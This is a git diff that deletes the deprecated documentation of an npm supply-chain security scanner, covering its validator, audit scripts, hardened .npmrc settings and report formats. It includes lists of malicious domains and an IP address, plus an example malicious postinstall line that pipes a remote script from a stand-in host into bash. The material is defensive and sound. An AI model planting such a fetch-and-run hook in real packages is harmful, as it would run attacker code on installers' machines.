days old (HIGH), < 90 days (MEDIUM) -- **Maintainer Count**: Flags single-maintainer packages (INFO) -- **Download Statistics**: Contextual information -- **Creation Date**: Detects newly created packages - -**Output Examples:** -``` -ℹ Single maintainer: yaml - purboo -⚠ Recently created package: suspicious-pkg (15 days old) -``` - -**Technical Implementation:** -- Uses npm registry API via `npm view` -- Implements file-based caching in `$TMPDIR/.npm-audit-cache/` -- Cache expiry: 24 hours -- Handles both string and object maintainer formats from npm registry - -### 1.4 Known Malicious Domain Detection - -**Monitored Domains:** -- `packages.storeartifact.com` -- `storeartifact.com` - -**Search Scope:** -- All `.json` files -- All `.js` files -- Excludes `node_modules` in source scan - -**Risk Level:** CRITICAL - -## Input Parameters - -```bash -# No parameters required - operates on current directory -./npm-security-audit.sh -``` - -## Output Format - -**Console Output (stdout):** -- Color-coded findings (RED=critical, YELLOW=warning, GREEN=clean) -- Section-based reporting (RDD, Lifecycle Scripts, Metadata, Malicious Domains) -- Summary with threat count - -**Structured Data Output (via file):** -- `MAINTAINER_DATA|package-name|count|maintainer1|maintainer2|...` -- Pipe-delimited format for programmatic consumption -- Emitted for the package itself and all dependencies -- Used by aggregation script `audit-installed-packages.sh` -- Format: `MAINTAINER_DATA|||>|>|...` -- Set `NPM_AUDIT_MAINTAINER_FILE` environment variable to capture this data to a file - -**Exit Codes:** -- `0`: No obvious threats detected -- `1`: Suspicious indicators found or errors occurred - -## Performance Characteristics - -- **Time Complexity:** O(n) where n = number of dependencies -- **Caching:** Reduces API calls by ~95% on subsequent runs -- **Memory Usage:** Minimal (< 50MB typical) - ---- - -[← Back to Overview](overview.md) | [Next: audit-installed-packages.sh →](audit-installed-packages.md) - diff --git a/deprecated/docs-v1/npmrc-security-config.md b/deprecated/docs-v1/npmrc-security-config.md deleted file mode 100644 index de198b4..0000000 --- a/deprecated/docs-v1/npmrc-security-config.md +++ /dev/null @@ -1,205 +0,0 @@ -# npmrc-security-config.sh - -**Type:** Configuration Template -**Language:** Bash/npmrc -**Dependencies:** None - ---- - -## Purpose - -Provide secure `.npmrc` configuration template with detailed documentation. Not an executable script but a configuration file with embedded documentation. - -## Functionality - -### 9.1 Security Settings - -**9.1.1 Script Execution Control** - -```ini -ignore-scripts=true -``` - -**Effect:** -- Prevents automatic execution of lifecycle scripts -- Blocks: preinstall, install, postinstall -- **Note:** May break some packages (intentional security trade-off) - -**9.1.2 Registry Restriction** - -```ini -registry=https://registry.npmjs.org/ -``` - -**Effect:** -- Forces all packages through official npm registry -- Prevents fetching from arbitrary URLs -- Blocks Remote Dynamic Dependencies (if enforced) - -**9.1.3 SSL Verification** - -```ini -strict-ssl=true -``` - -**Effect:** -- Enforces SSL certificate validation -- Prevents MITM attacks -- Blocks self-signed certificates - -### 9.2 Audit Settings - -**9.2.1 Automatic Audit** - -```ini -audit=true -``` - -**Effect:** -- Runs `npm audit` automatically on install -- Checks for known vulnerabilities -- No installation blocking (informational) - -**9.2.2 Audit Level Threshold** - -```ini -audit-level=high -``` - -**Levels:** low, moderate, high, critical - -**Effect:** -- Fails installation if vulnerabilities ≥ threshold found -- Enforces security standards -- Prevents vulnerable package installation - -### 9.3 Package Integrity - -**9.3.1 Signature Verification** - -```ini -verify-signatures=true -``` - -**Availability:** npm 7+ - -**Effect:** -- Verifies package signatures when available -- Enhanced tamper detection -- Not universally supported yet - -### 9.4 Installation Behavior - -**9.4.1 Exact Versions** - -```ini -save-exact=true -``` - -**Effect:** -- Saves exact versions in `package.json` (no `^` or `~`) -- Prevents unexpected updates -- Ensures reproducible builds - -**Example:** -```json -"dependencies": { - "express": "4.18.2" // Not "^4.18.2" -} -``` - -**9.4.2 Package Lock** - -```ini -package-lock=true -``` - -**Effect:** -- Ensures `package-lock.json` is used -- Deterministic installs -- Security: consistent dependency tree - -### 9.5 Logging - -```ini -loglevel=warn -``` - -**Options:** silent, error, warn, notice, http, timing, info, verbose, silly - -**Effect:** Balance between verbosity and useful information - -### 9.6 Private Registry Support - -**Example:** -```ini -@yourcompany:registry=https://npm.yourcompany.com/ -``` - -**Purpose:** Scoped package registry override - -### 9.7 Token Security - -**Best Practice (documented):** -```ini -# DO NOT use literal tokens: -# //registry.npmjs.org/:_authToken=npm_abc123... - -# USE environment variables: -//registry.npmjs.org/:_authToken=${NPM_TOKEN} -``` - -**CI/CD Guidance:** -- Set `NPM_TOKEN` as secret environment variable -- Never commit tokens to version control - -### 9.8 Additional Recommendations - -**Documented:** -1. Review configuration with team -2. Use npm workspaces for monorepos -3. Prefer `npm ci` in CI/CD (faster, stricter) -4. Regularly update npm itself -5. Use monitoring tools (Snyk, Socket, npm audit) - -## Input Parameters - -**N/A** - This is a configuration file, not an executable script - -## Installation - -**Global (User):** -```bash -cp npmrc-security-config.sh ~/.npmrc -``` - -**Project-Local:** -```bash -cp npmrc-security-config.sh .npmrc -# Add .npmrc to .gitignore if contains tokens -``` - -## Configuration Levels - -**Precedence (highest to lowest):** -1. Per-project (`./.npmrc`) -2. Per-user (`~/.npmrc`) -3. Global (`$PREFIX/etc/npmrc`) -4. Built-in defaults - -## Use Cases - -1. **New Project:** Copy as starting `.npmrc` -2. **Team Standard:** Establish baseline security configuration -3. **Hardening:** Apply to existing projects -4. **Reference:** Understand npm security settings - ---- - -[← Back to generate-summary-report.sh](generate-summary-report.md) | [Next: Security Indicators →](security-indicators.md) - - - - - - diff --git a/deprecated/docs-v1/output-formats.md b/deprecated/docs-v1/output-formats.md deleted file mode 100644 index 5782e43..0000000 --- a/deprecated/docs-v1/output-formats.md +++ /dev/null @@ -1,155 +0,0 @@ -# Output Formats - -## Exit Codes - -**Standard Across All Scripts:** -- `0`: Success, no threats detected -- `1`: Threats detected or execution error - -**Usage in CI/CD:** -```bash -./npm-security-audit.sh -if [ $? -ne 0 ]; then - echo "Security audit failed!" - exit 1 -fi -``` - -## Report Formats - -### 1. Console Output - -**Features:** -- ANSI color codes -- Section headers with borders -- Emoji indicators (✓, ⚠, ✗, 🚨) -- Real-time progress - -**Example:** -``` -================================================ -NPM Security Audit - PhantomRaven Protection -================================================ - -1. Scanning for Remote Dynamic Dependencies... - ✓ No HTTP URL dependencies in package.json - -2. Scanning for lifecycle scripts... - ⚠ Found lifecycle scripts in: package-name - -================================================ -Summary -================================================ -✓ No obvious threats detected -``` - -### 2. Markdown Reports - -**Files:** -- `audit-report.md`: Comprehensive markdown report -- `{global|local}-{package}.md`: Individual package reports -- `maintainer-data.tsv`: Centralized maintainer data for aggregation - -**Format Highlights:** -- GitHub-flavored markdown -- Frontmatter-style bullet list with metadata (date, packages, selection) -- Clean headings with minimal styling -- Tables for statistics -- Bullet lists for actionable items -- Version-control friendly - -**Per-Package Report Shape:** -- Status line shows `Risk X/100 (Level)` derived from indicators (HTTP, lifecycle, recent, fetch) and solo-maintainer -- Findings table (indicators + Maintainers status) comes before the Maintainers list -- Maintainers list is a simple bullet list of `name ` entries -- No raw console output or HTML sections in per-package files - -### 3. JSON Logs - -**Files:** -- `npm-install-log.json`: Installation monitoring data - -**Structure:** -```json -{ - "package": "string", - "timestamp": "ISO-8601", - "exitCode": number, - "totalConnections": number, - "suspiciousCount": number, - "suspiciousRequests": [ - { - "type": "string", - "host": "string", - "port": "string", - "timestamp": "ISO-8601" - } - ], - "allConnections": ["string"], - "installOutput": "string" -} -``` - -**Use Case:** Programmatic processing, auditing - -### 4. HTML Reports - -**Files:** -- `latest-audit-report.html`: Visual dashboard - -**Features:** -- Responsive design -- Embedded CSS -- Color-coded statistics -- Professional styling -- Grid layout - -**Sections:** -- Header with title -- Statistics cards (total/clean/suspicious) -- Suspicious projects list -- Timestamp - -**Use Case:** Executive reporting, team dashboards - -## Aggregation Formats - -### Detailed Summary Structure - -**New Structure (Priority Order - Most Important First):** - -1. **Executive Summary** (at top) - - Overall status: ✅ ALL CLEAN / ⚠️ X THREAT(S) FOUND - - Quick numbers: packages scanned, clean, suspicious, failed - - Key recommendations: 3-4 actionable bullets - - Scan metadata: date, duration, directory, depth, selection info - -2. **Critical Findings** (if threats found) - - Suspicious projects list - - Failed audits list - -3. **Key Statistics** - - Top maintainers by package count - - Ownership concentration metrics (top coverage, median, p95) - - Maintainers to review (aggregated risk signals) - - Maintainer distribution + total unique maintainer count - -4. **Detailed Statistics** - - Single-maintainer packages (table + summary) - - Packages with lifecycle scripts (list) - - Recently created packages (<30 days) - - Fetch warnings - -5. **Full Package List** (reference) - - Table format: `| Package | Risk Score | Indicator |` - - Risk scores range from 0-100 (HTTP=50, Scripts=25, Recent=15, Fetch=10, Solo=10) - - Sorted by risk score (highest first) - - Indicator column shows comma-separated flags (URL, Scripts, Recent, Fetch, Solo) - - Empty indicator column for clean packages (risk=0) - -6. **Appendix / Log Links** (if generated) - ---- - -[← Back to Security Indicators](security-indicators.md) | [Next: Integration Guidelines →](integration-guidelines.md) - diff --git a/deprecated/docs-v1/overview.md b/deprecated/docs-v1/overview.md deleted file mode 100644 index 817f943..0000000 --- a/deprecated/docs-v1/overview.md +++ /dev/null @@ -1,77 +0,0 @@ -# npm-scanner - Overview - -## Overview - -npm-scanner is a security toolkit designed to detect and prevent supply chain attacks through npm packages, with specific focus on PhantomRaven-style malware and similar threats. The toolkit provides multiple layers of defense including pre-installation validation, installation monitoring, post-installation auditing, and automated scanning capabilities. - -### Purpose - -Protect Node.js projects from: -- Remote Dynamic Dependencies (RDD) attacks -- Typosquatting and combosquatting -- Malicious lifecycle scripts -- Credential theft via package installation -- Supply chain compromise - -### Design Principles - -1. **Defense in Depth**: Multiple complementary detection mechanisms -2. **Automation First**: Enable scheduled and CI/CD integration -3. **Clear Reporting**: Actionable, prioritized findings -4. **Minimal False Positives**: Intelligent risk scoring -5. **Performance**: Caching and parallel execution support - ---- - -## System Architecture - -``` -┌─────────────────────────────────────────────────────────┐ -│ npm-scanner │ -├─────────────────────────────────────────────────────────┤ -│ │ -│ Entry Point │ -│ └─ npm-scanner.sh (Main CLI) │ -│ │ -│ Pre-Installation Layer (scripts/) │ -│ ├─ package-validator.js (Risk Assessment) │ -│ └─ npm-install-monitor.js (Network Monitoring) │ -│ │ -│ Post-Installation Layer (scripts/) │ -│ ├─ npm-security-audit.sh (Single Project) │ -│ └─ audit-installed-packages.sh (Unified Scanner) │ -│ │ -│ Automation Layer (scripts/) │ -│ ├─ scheduled-audit-script.sh (Cron/CI Integration) │ -│ └─ generate-summary-report.sh (Reporting) │ -│ │ -│ Response Layer (scripts/) │ -│ ├─ credential-rotation-script.sh (Incident Response) │ -│ └─ npmrc-security-config.sh (Hardening) │ -│ │ -└─────────────────────────────────────────────────────────┘ -``` - ---- - -## Related Documentation - -- [How It Works](how-it-works.md) - Detection methods and comparison with npm audit -- [audit-installed-packages.sh](audit-installed-packages.md) - Unified scanner -- [npm-security-audit.sh](npm-security-audit.md) - Core security scanner -- [scheduled-audit-script.sh](scheduled-audit-script.md) - Automation wrapper -- [package-validator.js](package-validator.md) - Pre-installation validator -- [npm-install-monitor.js](npm-install-monitor.md) - Installation monitor -- [credential-rotation-script.sh](credential-rotation-script.md) - Incident response -- [generate-summary-report.sh](generate-summary-report.md) - Report aggregation -- [npmrc-security-config.sh](npmrc-security-config.md) - Security configuration -- [Security Indicators](security-indicators.md) - Threat detection details -- [Output Formats](output-formats.md) - Report format specifications -- [Integration Guidelines](integration-guidelines.md) - CI/CD and tooling integration -- [Appendix](appendix.md) - Troubleshooting and best practices - - - - - - diff --git a/deprecated/docs-v1/package-validator.md b/deprecated/docs-v1/package-validator.md deleted file mode 100644 index 9e4feb3..0000000 --- a/deprecated/docs-v1/package-validator.md +++ /dev/null @@ -1,248 +0,0 @@ -# package-validator.sh - -**Type:** Pre-Installation Security Validator -**Language:** Bash -**Dependencies:** curl, jq, npm-audit-lib.sh - ---- - -## Purpose - -Pre-installation risk assessment tool that validates npm packages before installation. Provides risk scoring and recommendations to prevent installation of malicious packages. - -## Functionality - -### 5.1 Risk Scoring System - -**Risk Weights:** -```bash -RISK_WEIGHTS=( - [MALICIOUS_DOMAIN]=100 # Known malicious infrastructure - [MALICIOUS_IP]=100 # Known malicious IP addresses - [ATTACKER_PATTERN]=100 # Known attacker email/username patterns - [HTTP_DEPENDENCY]=50 # Remote dynamic dependencies - [DISPOSABLE_EMAIL]=40 # Disposable email domain - [SUSPICIOUS_EMAIL_PATTERN]=30 # Suspicious email patterns - [PRIVACY_RELAY_EMAIL]=15 # Privacy relay email (anonymous) - [NEW_PACKAGE]=20 # < 30 days old - [SINGLE_MAINTAINER]=10 # Only one maintainer - [LOW_DOWNLOADS]=15 # < 100 weekly downloads - [INSTALL_SCRIPTS]=25 # Lifecycle scripts present - [RECENT_VERSION]=10 # Latest version < 7 days - [TYPOSQUATTING]=30 # Similar to popular package name - # Positive modifiers (reduce risk) - [TRUSTED_TOP1K]=-10 # Email from top 1k domain - [TRUSTED_TOP10K]=-5 # Email from top 10k domain - [TRUSTED_TOP100K]=-2 # Email from top 100k domain -) -``` - -**Risk Levels:** -- `CRITICAL` (>=80): Do not install -- `HIGH` (>=50): Extreme caution -- `MEDIUM` (>=25): Proceed with caution -- `LOW` (>=10): Some concerns -- `SAFE` (<10): Appears safe - -### 5.2 Package Age Analysis - -**Function:** `check_package_age()` - -**Checks:** -1. **Package Creation Date** - - < 30 days: HIGH risk (+20 points) - - < 90 days: MEDIUM risk (+10 points) - -2. **Latest Version Age** - - < 7 days: MEDIUM risk (+10 points) - -**Data Source:** npm registry API `time.created`, `time[version]` - -### 5.3 Maintainer Analysis - -**Function:** `check_maintainers()` - -**Checks:** -1. **Maintainer Count** - - 0 maintainers: HIGH risk (+20 points) - - 1 maintainer: LOW risk (+10 points) - -2. **Email Domain Analysis** (via npm-audit-lib.sh) - - Disposable email domains: HIGH risk (+40 points) - - Privacy relay domains: LOW risk (+15 points) - - Trusted domains: Negative points (reduces risk) - -3. **Email Pattern Analysis** - - Suspicious patterns: `temp|disposable|trash|fake|test[0-9]+` - - Match: MEDIUM risk (+30 points) - -4. **Attacker Pattern Matching** - - Known attacker patterns: CRITICAL risk (+100 points) - -**Purpose:** Identify potential throwaway/fake accounts and known malicious actors - -**Output Format:** -``` -[LOW] Maintainers - Single maintainer: John Doe - Risk points: +10 -``` - -### 5.4 Download Statistics - -**Function:** `check_downloads()` - -**Implementation:** -```bash -curl -sL "https://api.npmjs.org/downloads/point/last-week/${package}" -``` - -**Threshold:** < 100 weekly downloads = MEDIUM risk (+15 points) - -**Note:** Not critical - serves as context indicator - -### 5.5 Dependency Analysis - -**Function:** `check_dependencies()` - -**Checks:** -1. **HTTP/HTTPS URL Dependencies** - - Known malicious domain: CRITICAL (+100 points) - - Known malicious IP: CRITICAL (+100 points) - - Other HTTP URLs: HIGH (+50 points) - -2. **Malicious Indicators** (from npm-audit-lib.sh): - - `packages.storeartifact.com` - - `storeartifact.com` - - `54.173.15.59` - -**Scope:** dependencies, devDependencies, peerDependencies - -### 5.6 Lifecycle Script Detection - -**Function:** `check_scripts()` - -**Monitored Scripts:** -- `preinstall` -- `install` -- `postinstall` - -**Risk:** MEDIUM (+25 points) - -**Output:** Lists script names and commands for review - -### 5.7 Typosquatting Detection - -**Function:** `check_typosquatting()` - -**Algorithm:** Levenshtein Distance (pure Bash implementation) - -**Popular Packages List:** (from npm-audit-lib.sh TYPOSQUATTING_TARGETS) -```bash -express react vue angular lodash axios webpack -babel eslint typescript prettier jest mocha -chalk moment uuid commander debug request -async bluebird underscore q colors minimist -yargs glob rimraf -``` - -**Threshold:** Edit distance <= 2 = HIGH risk (+30 points) - -**Examples:** -- `expres` (distance: 1) -> typosquatting alert -- `reactt` (distance: 1) -> typosquatting alert - -### 5.8 Report Generation - -**Function:** `print_report()` - -**Format:** -``` -=============================================== -Package Security Validation Report -=============================================== - -Package: example-package -Risk Score: 45 -Risk Level: MEDIUM - -Findings: - - [MEDIUM] Package Age - Package is 25 days old (created 2025-10-06) - Risk points: +20 - - [MEDIUM] Install Scripts - Package has lifecycle scripts that run automatically: - install: node postinstall.js - Risk points: +25 - -=============================================== -Recommendation -=============================================== - -MEDIUM RISK - Proceed with caution -Review the findings and verify the package legitimacy. -``` - -## Input Parameters - -```bash -Usage: package-validator.sh [--json] - -Arguments: - package-name Name of npm package to validate - --json Output results in JSON format - -Examples: - ./npm-scanner.sh validate express - ./npm-scanner.sh validate @babel/core - ./npm-scanner.sh validate lodash --json -``` - -## Output Format - -**Exit Codes:** -- `0`: SAFE, LOW, or MEDIUM risk -- `1`: HIGH or CRITICAL risk, or error - -**Colors:** -- RED: Critical/High severity -- YELLOW: Medium severity -- BLUE: Low severity -- GREEN: Safe/Info - -**JSON Output:** -```json -{ - "package": "example-package", - "riskScore": 45, - "riskLevel": "MEDIUM", - "findingsCount": 2, - "findings": [ - { - "severity": "MEDIUM", - "category": "Package Age", - "message": "Package is 25 days old", - "points": 20 - } - ] -} -``` - -## Performance Characteristics - -- **API Calls:** 2 to npm registry (package data + downloads) -- **Execution Time:** 1-3 seconds -- **Memory Usage:** Minimal (shell script) - -## Use Cases - -1. **Pre-Install Check:** `./npm-scanner.sh validate suspicious-pkg` -2. **CI/CD Gate:** Exit code determines pass/fail -3. **Manual Review:** Before adding new dependencies -4. **JSON Integration:** `./npm-scanner.sh validate pkg --json | jq .riskLevel` - ---- - -[Back to scheduled-audit-script.sh](scheduled-audit-script.md) | [Next: npm-install-monitor.js](npm-install-monitor.md) diff --git a/deprecated/docs-v1/recursive-audit-script.md b/deprecated/docs-v1/recursive-audit-script.md deleted file mode 100644 index 679adc9..0000000 --- a/deprecated/docs-v1/recursive-audit-script.md +++ /dev/null @@ -1,158 +0,0 @@ -# recursive-audit-script.sh - -**Type:** Multi-Project Scanner -**Language:** Bash -**Dependencies:** npm-security-audit.sh, find - ---- - -> ℹ️ **Status:** This script is retained for archival purposes. All functionality has been consolidated into `audit-installed-packages.sh --project`. Use the unified scanner for active audits; the details below describe the previous standalone version. - ---- - -## Purpose - -Recursively scan directory hierarchies to find and audit all Node.js projects. Ideal for monorepos, workspace directories, and organization-wide audits. - -## Functionality - -### 3.1 Project Discovery - -**Algorithm:** -```bash -find "$START_DIR" -maxdepth $MAX_DEPTH -name "package.json" -type f \ - -not -path "*/node_modules/*" \ - -not -path "*/.git/*" -``` - -**Features:** -- Configurable max depth (default: 10) -- Automatic exclusion of common directories -- Custom exclusion patterns -- Scoped package handling - -### 3.2 Audit Execution Modes - -**3.2.1 Standard Mode (Default)** -- Sequential execution -- Full output display -- Progress indication - -**3.2.2 Summary Mode (`-s`)** -- Minimal console output -- Fast execution -- Status-only reporting (✓/⚠/✗) - -**3.2.3 Parallel Mode (`-p`)** -- Background job execution -- Faster completion -- Less readable output - -**3.2.4 Limited Scan (`-n, --limit N`)** -- Scan only first N projects -- Useful for quick spot checks -- Works with summary and parallel modes - -**3.2.5 Random Sampling (`-r, --random`)** -- Randomly sample projects instead of sequential -- Useful for statistical analysis -- Can combine with `--limit` for random sample of N projects - -### 3.3 Report Generation - -**Two-tier reporting:** - -**Tier 1: Markdown Report (`audit-report.md`)** -- **Frontmatter**: Bullet list with date, duration, directory, max depth, projects found/scanned, selection method -- **Executive Summary**: Status header, quick numbers, recommendations -- **Critical Findings**: Suspicious projects and failed audits (if any) -- **Key Statistics**: Top maintainers, ownership concentration, maintainer review list, maintainer distribution -- **Detailed Statistics**: Single maintainer packages, lifecycle scripts, recently created packages, fetch warnings -- **Full Project List**: Bullet list with status indicators (⚠️ suspicious, ❌ failed) -- **Appendix**: Link to full audit log - -The markdown report is designed to be: -- GitHub-friendly (renders beautifully in PRs and issues) -- Human-readable (clean formatting with tables and badges) -- Version-controlled (diff-friendly format) -- Shareable (can be viewed directly in browser or markdown viewers) - -**Tier 2: Full Log (`audit-results-full.log`)** -- Complete audit output for every project -- Used for detailed forensics -- Enables post-processing and maintainer data extraction - -### 3.4 Statistics Tracking - -**Real-time Counters:** -- `TOTAL_PROJECTS`: Projects scanned -- `CLEAN_PROJECTS`: No issues detected -- `SUSPICIOUS_PROJECTS`: Issues found -- `FAILED_PROJECTS`: Audit errors - -**Project Path Arrays:** -- `SUSPICIOUS_PROJECT_PATHS[]`: For detailed reporting -- `FAILED_PROJECT_PATHS[]`: For error tracking - -### 3.5 Output Redirection - -**Technical Implementation:** -```bash -exec > >(tee -a "$FULL_LOG") 2>&1 -``` - -Simultaneously: -- Displays to console -- Saves to log file -- Preserves exit codes - -## Input Parameters - -```bash -Options: - -d, --max-depth N # Maximum directory depth (default: 10) - -e, --exclude PATTERN # Exclude pattern (repeatable) - -o, --output DIR # Output directory - -s, --summary-only # Summary mode only - -p, --parallel # Parallel execution - -n, --limit N # Limit scan to first N projects (0 = no limit) - -r, --random # Randomly sample projects instead of sequential - -h, --help # Show help - -Arguments: - [directory] # Starting directory (default: current) -``` - -## Output Format - -**Console (Summary Mode):** -``` -[1] Checking: /path/to/project1 - ✓ Clean -[2] Checking: /path/to/project2 - ⚠ Suspicious activity detected -``` - -**Exit Codes:** -- `0`: All projects clean -- `1`: Suspicious projects found - -## Performance Characteristics - -- **Discovery:** < 1 second for 1000 directories -- **Audit Time:** 1-2 seconds per project -- **Memory:** < 100MB -- **Parallelization:** Supported but optional - -## Use Cases - -1. **Workspace Audit:** `./recursive-audit-script.sh ~/projects` -2. **Fast Scan:** `./recursive-audit-script.sh -s -d 5 ~/code` -3. **CI Integration:** `./recursive-audit-script.sh -o ./reports /workspace` -4. **Quick Spot Check:** `./recursive-audit-script.sh -n 10 ~/projects` (scan only first 10 projects) -5. **Random Sampling:** `./recursive-audit-script.sh -n 20 -r ~/projects` (randomly sample 20 projects) - ---- - -[← Back to audit-installed-packages.sh](audit-installed-packages.md) | [Next: scheduled-audit-script.sh →](scheduled-audit-script.md) - diff --git a/deprecated/docs-v1/scheduled-audit-script.md b/deprecated/docs-v1/scheduled-audit-script.md deleted file mode 100644 index 209f963..0000000 --- a/deprecated/docs-v1/scheduled-audit-script.md +++ /dev/null @@ -1,205 +0,0 @@ -# scheduled-audit-script.sh - -**Type:** Automation Wrapper -**Language:** Bash -**Dependencies:** audit-installed-packages.sh, cron (optional) - ---- - -## Purpose - -Automated security scanning system with configurable scheduling, alerting, and change detection. Designed for cron integration and continuous monitoring. - -## Functionality - -### 4.1 Configuration Management - -**Configuration File:** `~/.npm-audit-config` - -**Structure:** -```bash -SCAN_DIRECTORIES=( - "$HOME/projects" - "$HOME/work" -) -ALERT_EMAIL="security@company.com" -ALERT_SLACK_WEBHOOK="https://hooks.slack.com/..." -ALERT_ON_CHANGE=true -MAX_DEPTH=10 -CUSTOM_EXCLUDES=("test-projects" "archived") -``` - -**Auto-generation:** -- Creates default config if missing -- Prompts user for customization -- Safe defaults - -### 4.2 Alert System - -**4.2.1 Email Alerts** - -**Mechanisms:** -- Primary: `mail` command -- Fallback: `sendmail` command -- Format: Plain text with summary - -**Trigger Conditions:** -- Suspicious projects detected (if `ALERT_ON_CHANGE=false`) -- Changes from previous scan (if `ALERT_ON_CHANGE=true`) - -**4.2.2 Slack Alerts** - -**Format:** -```json -{ - "attachments": [{ - "color": "danger", - "title": "NPM Security Audit Alert", - "text": "Alert message with details", - "footer": "NPM Security Scanner", - "ts": 1698796800 - }] -} -``` - -**Color Codes:** -- `danger`: Suspicious projects found -- `warning`: Changes detected -- `good`: All clean - -### 4.3 Change Detection - -**Algorithm:** -```bash -compare_with_previous() { - # Compare suspicious counts - # Compare project paths - # Detect any differences -} -``` - -**State Management:** -- Previous results: `$LOG_DIR/previous-audit.txt` -- Current results: `$LOG_DIR/current-audit.txt` -- Differential analysis - -**Change Triggers:** -- Suspicious count change -- Different projects flagged -- New projects with issues - -### 4.4 HTML Report Generation - -**Template:** Responsive HTML with embedded CSS - -**Features:** -- Clean/suspicious/total statistics -- Color-coded stat cards -- List of suspicious projects -- Timestamp -- Professional styling - -**Example Output:** -```html - - - - NPM Security Audit Report - - - -
-

🔒 NPM Security Audit Report

-
- -
- -
- - -``` - -**Location:** `$HOME/.npm-audit-logs/latest-audit-report.html` - -### 4.5 Multi-Directory Scanning - -**Process:** -1. Iterate through configured directories -2. Run recursive audit on each -3. Aggregate results -4. Generate unified report - -**Error Handling:** -- Skips missing directories -- Logs warnings -- Continues with remaining directories - -### 4.6 Log Management - -**Directory:** `$HOME/.npm-audit-logs/` - -**Files:** -- `audit-YYYYMMDD-HHMMSS-{dirname}.txt`: Per-directory results -- `current-audit.txt`: Aggregated current scan -- `previous-audit.txt`: Previous scan for comparison -- `latest-audit-report.html`: Visual report - -## Input Parameters - -```bash -Usage: ./scheduled-audit-script.sh [config-file] - -Arguments: - config-file # Path to configuration file (default: ~/.npm-audit-config) -``` - -## Cron Integration - -**Example Crontab Entries:** - -```cron -# Weekly scan (Monday 2 AM) -0 2 * * 1 /path/to/scheduled-audit-script.sh >> /var/log/npm-audit.log 2>&1 - -# Daily scan (2 AM) -0 2 * * * /path/to/scheduled-audit-script.sh - -# Every 6 hours -0 */6 * * * /path/to/scheduled-audit-script.sh -``` - -## Output Format - -**Log Output:** -``` -[2025-10-31 02:00:00] Starting scheduled NPM security audit -[2025-10-31 02:00:01] Loading configuration from: /home/user/.npm-audit-config -[2025-10-31 02:00:02] Scanning directory: /home/user/projects -[2025-10-31 02:15:23] Audit completed successfully for: /home/user/projects -[2025-10-31 02:15:24] Audit Summary: -[2025-10-31 02:15:24] Total clean projects: 45 -[2025-10-31 02:15:24] Total suspicious projects: 2 -``` - -## Performance Characteristics - -- **Overhead:** < 1 second (excluding actual audit time) -- **Scalability:** Handles multiple large directories -- **Resource Usage:** Minimal (delegates to recursive script) - -## Use Cases - -1. **Initial Setup:** `./scheduled-audit-script.sh` (creates config) -2. **Manual Run:** `./scheduled-audit-script.sh` -3. **Custom Config:** `./scheduled-audit-script.sh /etc/npm-audit.conf` -4. **Cron Job:** Add to crontab for automation - ---- - -[← Back to recursive-audit-script.sh](recursive-audit-script.md) | [Next: package-validator.js →](package-validator.md) - - - - - - diff --git a/deprecated/docs-v1/security-indicators.md b/deprecated/docs-v1/security-indicators.md deleted file mode 100644 index 43dc145..0000000 --- a/deprecated/docs-v1/security-indicators.md +++ /dev/null @@ -1,139 +0,0 @@ -# Security Indicators - -## Primary Threat Vectors - -### 1. Remote Dynamic Dependencies (RDD) - -**Description:** Package dependencies specified as HTTP/HTTPS URLs instead of registry versions - -**Example:** -```json -"dependencies": { - "malicious-pkg": "https://packages.storeartifact.com/evil.tgz" -} -``` - -**Detection:** All audit scripts check for HTTP URLs - -**Risk:** CRITICAL - Direct malware injection - -### 2. Malicious Lifecycle Scripts - -**Description:** Scripts that execute automatically during package installation - -**Scripts:** -- `preinstall`: Before package installation -- `install`: During installation -- `postinstall`: After installation - -**Example:** -```json -"scripts": { - "postinstall": "curl http://malicious.com/steal.sh | bash" -} -``` - -**Detection:** Identified by all audit tools - -**Risk:** HIGH - Arbitrary code execution - -### 3. Typosquatting - -**Description:** Package names that mimic popular packages - -**Examples:** -- `expres` → `express` -- `loadsh` → `lodash` -- `reactt` → `react` - -**Detection:** `package-validator.js` uses Levenshtein distance - -**Risk:** HIGH - Social engineering - -### 4. Combosquatting - -**Description:** Combining popular package name with generic term - -**Examples:** -- `express-api-helper` -- `react-secure-toolkit` -- `lodash-utils-extra` - -**Detection:** Manual review required - -**Risk:** MEDIUM - Harder to detect - -### 5. Slopsquatting - -**Description:** AI assistants recommending non-existent packages that attackers then create - -**Process:** -1. AI suggests plausible package name -2. Package doesn't exist -3. Attacker registers malicious package with that name -4. Future users install malicious package - -**Detection:** Age checks, maintainer analysis - -**Risk:** HIGH - Exploits AI trust - -## Metadata-Based Indicators - -### 1. Package Age - -- **< 30 days:** HIGH concern -- **< 90 days:** MEDIUM concern -- **Reasoning:** Attackers create new packages for attacks - -### 2. Maintainer Count - -- **0 maintainers:** HIGH concern (orphaned/compromised) -- **1 maintainer:** INFO (not necessarily malicious) -- **Multiple:** Lower concern - -### 3. Download Statistics - -- **< 100/week:** MEDIUM concern -- **Low downloads + new package:** Combined HIGH risk -- **Purpose:** Popularity indicator - -### 4. Version Freshness - -- **Latest version < 7 days:** MEDIUM concern -- **Reasoning:** Rapid updates may indicate malicious activity - -### 5. Suspicious Email Patterns - -**Patterns:** -- Temp/disposable email services -- Pattern matching: `temp|disposable|trash|fake|test\d+` -- **Risk:** HIGH - Throwaway accounts - -## Network-Based Indicators - -### 1. Non-Registry Connections - -**During Installation:** -- Connections to non-npm registry domains -- Unexpected API calls -- Data exfiltration attempts - -**Detection:** `npm-install-monitor.js` - -### 2. Known Malicious Domains - -**Current List:** -- `packages.storeartifact.com` -- `storeartifact.com` - -**Risk:** CRITICAL - Confirmed malicious infrastructure - ---- - -[← Back to npmrc-security-config.sh](npmrc-security-config.md) | [Next: Output Formats →](output-formats.md) - - - - - - diff --git a/deprecated/npm-install-monitor.js b/deprecated/npm-install-monitor.js deleted file mode 100644 index 45eb22a..0000000 --- a/deprecated/npm-install-monitor.js +++ /dev/null @@ -1,254 +0,0 @@ -#!/usr/bin/env node - -/** - * NPM Install Network Monitor - * Monitors network requests during package installation to detect suspicious activity - * - * Usage: node npm-install-monitor.js - * Example: node npm-install-monitor.js express - */ - -const { spawn } = require('child_process'); -const fs = require('fs'); -const path = require('path'); - -// Trusted npm registries -const TRUSTED_REGISTRIES = [ - 'registry.npmjs.org', - 'registry.yarnpkg.com', - 'npm.pkg.github.com' -]; - -// ============================================================================ -// INDICATORS OF COMPROMISE (IOCs) -// ============================================================================ -// Source of truth is in scripts/npm-audit-lib.sh - keep in sync when updating. - -// Known malicious domains -const KNOWN_MALICIOUS_DOMAINS = [ - 'packages.storeartifact.com', - 'storeartifact.com' -]; - -// Known malicious IP addresses -const KNOWN_MALICIOUS_IPS 